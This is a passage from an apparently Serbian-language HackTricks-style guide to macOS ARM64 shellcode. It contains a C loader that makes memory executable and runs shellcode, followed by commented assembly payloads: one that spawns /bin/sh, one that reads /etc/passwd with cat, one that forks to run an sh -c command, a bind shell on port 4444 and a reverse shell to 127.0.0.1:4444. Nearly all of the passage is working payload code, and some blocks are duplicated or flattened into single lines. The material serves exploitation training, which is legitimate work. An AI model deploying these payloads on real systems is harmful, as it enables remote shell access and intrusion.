if (status == -1) { perror("mprotect"); exit(-1); } printf("[+] SUCCESS: mprotect\n"); printf(" |-> Return = %d\n", status);

printf("[>] Trying to execute shellcode...\n");

sc = ptr; sc();

return 0; }

</details>

#### Shell

Preuzeto sa [**ovde**](https://github.com/daem0nc0re/macOS\_ARM64\_Shellcode/blob/master/shell.s) i objašnjeno.

<div data-gb-custom-block data-tag="tabs"></div>

<div data-gb-custom-block data-tag="tab" data-title='sa adr'>

```armasm
.section __TEXT,__text ; This directive tells the assembler to place the following code in the __text section of the __TEXT segment.
.global _main         ; This makes the _main label globally visible, so that the linker can find it as the entry point of the program.
.align 2              ; This directive tells the assembler to align the start of the _main function to the next 4-byte boundary (2^2 = 4).

_main:
adr  x0, sh_path  ; This is the address of "/bin/sh".
mov  x1, xzr      ; Clear x1, because we need to pass NULL as the second argument to execve.
mov  x2, xzr      ; Clear x2, because we need to pass NULL as the third argument to execve.
mov  x16, #59     ; Move the execve syscall number (59) into x16.
svc  #0x1337      ; Make the syscall. The number 0x1337 doesn't actually matter, because the svc instruction always triggers a supervisor call, and the exact action is determined by the value in x16.

sh_path: .asciz "/bin/sh"
.section __TEXT,__text ; This directive tells the assembler to place the following code in the __text section of the __TEXT segment.
.global _main         ; This makes the _main label globally visible, so that the linker can find it as the entry point of the program.
.align 2              ; This directive tells the assembler to align the start of the _main function to the next 4-byte boundary (2^2 = 4).

_main:
; We are going to build the string "/bin/sh" and place it on the stack.

mov  x1, #0x622F  ; Move the lower half of "/bi" into x1. 0x62 = 'b', 0x2F = '/'.
movk x1, #0x6E69, lsl #16 ; Move the next half of "/bin" into x1, shifted left by 16. 0x6E = 'n', 0x69 = 'i'.
movk x1, #0x732F, lsl #32 ; Move the first half of "/sh" into x1, shifted left by 32. 0x73 = 's', 0x2F = '/'.
movk x1, #0x68, lsl #48   ; Move the last part of "/sh" into x1, shifted left by 48. 0x68 = 'h'.

str  x1, [sp, #-8] ; Store the value of x1 (the "/bin/sh" string) at the location `sp - 8`.

; Prepare arguments for the execve syscall.

mov  x1, #8       ; Set x1 to 8.
sub  x0, sp, x1   ; Subtract x1 (8) from the stack pointer (sp) and store the result in x0. This is the address of "/bin/sh" string on the stack.
mov  x1, xzr      ; Clear x1, because we need to pass NULL as the second argument to execve.
mov  x2, xzr      ; Clear x2, because we need to pass NULL as the third argument to execve.

; Make the syscall.

mov  x16, #59     ; Move the execve syscall number (59) into x16.
svc  #0x1337      ; Make the syscall. The number 0x1337 doesn't actually matter, because the svc instruction always triggers a supervisor call, and the exact action is determined by the value in x16.

```armasm ; From https://8ksec.io/arm64-reversing-and-exploitation-part-5-writing-shellcode-8ksec-blogs/ .section __TEXT,__text ; This directive tells the assembler to place the following code in the __text section of the __TEXT segment. .global _main ; This makes the _main label globally visible, so that the linker can find it as the entry point of the program. .align 2 ; This directive tells the assembler to align the start of the _main function to the next 4-byte boundary (2^2 = 4).

_main: adr x0, sh_path ; This is the address of "/bin/sh". mov x1, xzr ; Clear x1, because we need to pass NULL as the second argument to execve. mov x2, xzr ; Clear x2, because we need to pass NULL as the third argument to execve. mov x16, #59 ; Move the execve syscall number (59) into x16. svc #0x1337 ; Make the syscall. The number 0x1337 doesn't actually matter, because the svc instruction always triggers a supervisor call, and the exact action is determined by the value in x16.

sh_path: .asciz "/bin/sh"

#### Čitanje pomoću cat

Cilj je izvršiti `execve("/bin/cat", ["/bin/cat", "/etc/passwd"], NULL)`, tako da je drugi argument (x1) niz parametara (što u memoriji znači stek adresa).
```armasm
.section __TEXT,__text     ; Begin a new section of type __TEXT and name __text
.global _main              ; Declare a global symbol _main
.align 2                   ; Align the beginning of the following code to a 4-byte boundary

_main:
; Prepare the arguments for the execve syscall
sub sp, sp, #48        ; Allocate space on the stack
mov x1, sp             ; x1 will hold the address of the argument array
adr x0, cat_path
str x0, [x1]           ; Store the address of "/bin/cat" as the first argument
adr x0, passwd_path    ; Get the address of "/etc/passwd"
str x0, [x1, #8]       ; Store the address of "/etc/passwd" as the second argument
str xzr, [x1, #16]     ; Store NULL as the third argument (end of arguments)

adr x0, cat_path
mov x2, xzr            ; Clear x2 to hold NULL (no environment variables)
mov x16, #59           ; Load the syscall number for execve (59) into x8
svc 0                  ; Make the syscall


cat_path: .asciz "/bin/cat"
.align 2
passwd_path: .asciz "/etc/passwd"

Pozovite komandu sa sh iz fork-a tako da glavni proces nije ubijen

.section __TEXT,__text     ; Begin a new section of type __TEXT and name __text
.global _main              ; Declare a global symbol _main
.align 2                   ; Align the beginning of the following code to a 4-byte boundary

_main:
; Prepare the arguments for the fork syscall
mov x16, #2            ; Load the syscall number for fork (2) into x8
svc 0                  ; Make the syscall
cmp x1, #0             ; In macOS, if x1 == 0, it's parent process, https://opensource.apple.com/source/xnu/xnu-7195.81.3/libsyscall/custom/__fork.s.auto.html
beq _loop              ; If not child process, loop

; Prepare the arguments for the execve syscall

sub sp, sp, #64        ; Allocate space on the stack
mov x1, sp             ; x1 will hold the address of the argument array
adr x0, sh_path
str x0, [x1]           ; Store the address of "/bin/sh" as the first argument
adr x0, sh_c_option    ; Get the address of "-c"
str x0, [x1, #8]       ; Store the address of "-c" as the second argument
adr x0, touch_command  ; Get the address of "touch /tmp/lalala"
str x0, [x1, #16]      ; Store the address of "touch /tmp/lalala" as the third argument
str xzr, [x1, #24]     ; Store NULL as the fourth argument (end of arguments)

adr x0, sh_path
mov x2, xzr            ; Clear x2 to hold NULL (no environment variables)
mov x16, #59           ; Load the syscall number for execve (59) into x8
svc 0                  ; Make the syscall


_exit:
mov x16, #1            ; Load the syscall number for exit (1) into x8
mov x0, #0             ; Set exit status code to 0
svc 0                  ; Make the syscall

_loop: b _loop

sh_path: .asciz "/bin/sh"
.align 2
sh_c_option: .asciz "-c"
.align 2
touch_command: .asciz "touch /tmp/lalala"

Bind shell

Bind shell sa https://raw.githubusercontent.com/daem0nc0re/macOS_ARM64_Shellcode/master/bindshell.s na portu 4444

.section __TEXT,__text
.global _main
.align 2
_main:
call_socket:
// s = socket(AF_INET = 2, SOCK_STREAM = 1, 0)
mov  x16, #97
lsr  x1, x16, #6
lsl  x0, x1, #1
mov  x2, xzr
svc  #0x1337

// save s
mvn  x3, x0

call_bind:
/*
* bind(s, &sockaddr, 0x10)
*
* struct sockaddr_in {
*     __uint8_t       sin_len;     // sizeof(struct sockaddr_in) = 0x10
*     sa_family_t     sin_family;  // AF_INET = 2
*     in_port_t       sin_port;    // 4444 = 0x115C
*     struct  in_addr sin_addr;    // 0.0.0.0 (4 bytes)
*     char            sin_zero[8]; // Don't care
* };
*/
mov  x1, #0x0210
movk x1, #0x5C11, lsl #16
str  x1, [sp, #-8]
mov  x2, #8
sub  x1, sp, x2
mov  x2, #16
mov  x16, #104
svc  #0x1337

call_listen:
// listen(s, 2)
mvn  x0, x3
lsr  x1, x2, #3
mov  x16, #106
svc  #0x1337

call_accept:
// c = accept(s, 0, 0)
mvn  x0, x3
mov  x1, xzr
mov  x2, xzr
mov  x16, #30
svc  #0x1337

mvn  x3, x0
lsr  x2, x16, #4
lsl  x2, x2, #2

call_dup:
// dup(c, 2) -> dup(c, 1) -> dup(c, 0)
mvn  x0, x3
lsr  x2, x2, #1
mov  x1, x2
mov  x16, #90
svc  #0x1337
mov  x10, xzr
cmp  x10, x2
bne  call_dup

call_execve:
// execve("/bin/sh", 0, 0)
mov  x1, #0x622F
movk x1, #0x6E69, lsl #16
movk x1, #0x732F, lsl #32
movk x1, #0x68, lsl #48
str  x1, [sp, #-8]
mov	 x1, #8
sub  x0, sp, x1
mov  x1, xzr
mov  x2, xzr
mov  x16, #59
svc  #0x1337

Reverse shell

Sa https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/reverseshell.s, revshell na 127.0.0.1:4444

.section __TEXT,__text
.global _main
.align 2
_main:
call_socket:
// s = socket(AF_INET = 2, SOCK_STREAM = 1, 0)
mov  x16, #97
lsr  x1, x16, #6
lsl  x0, x1, #1
mov  x2, xzr
svc  #0x1337

// save s
mvn  x3, x0

call_connect:
/*
* connect(s, &sockaddr, 0x10)
*
* struct sockaddr_in {
*     __uint8_t       sin_len;     // sizeof(struct sockaddr_in) = 0x10
*     sa_family_t     sin_family;  // AF_INET = 2
*     in_port_t       sin_port;    // 4444 = 0x115C
*     struct  in_addr sin_addr;    // 127.0.0.1 (4 bytes)
*     char            sin_zero[8]; // Don't care
* };
*/
mov  x1, #0x0210
movk x1, #0x5C11, lsl #16
movk x1, #0x007F, lsl #32
movk x1, #0x0100, lsl #48
str  x1, [sp, #-8]
mov  x2, #8
sub  x1, sp, x2
mov  x2, #16
mov  x16, #98
svc  #0x1337

lsr  x2, x2, #2

call_dup:
// dup(s, 2) -> dup(s, 1) -> dup(s, 0)
mvn  x0, x3
lsr  x2, x2, #1
mov  x1, x2
mov  x16, #90
svc  #0x1337
mov  x10, xzr
cmp  x10, x2
bne  call_dup

call_execve:
// execve("/bin/sh", 0, 0)
mov  x1, #0x622F
movk x1, #0x6E69, lsl #16
movk x1, #0x732F, lsl #32
movk x1, #0x68, lsl #48
str  x1, [sp, #-8]
mov	 x1, #8
sub  x0, sp, x1
mov  x1, xzr
mov  x2, xzr
mov  x16, #59
svc  #0x1337

Last updated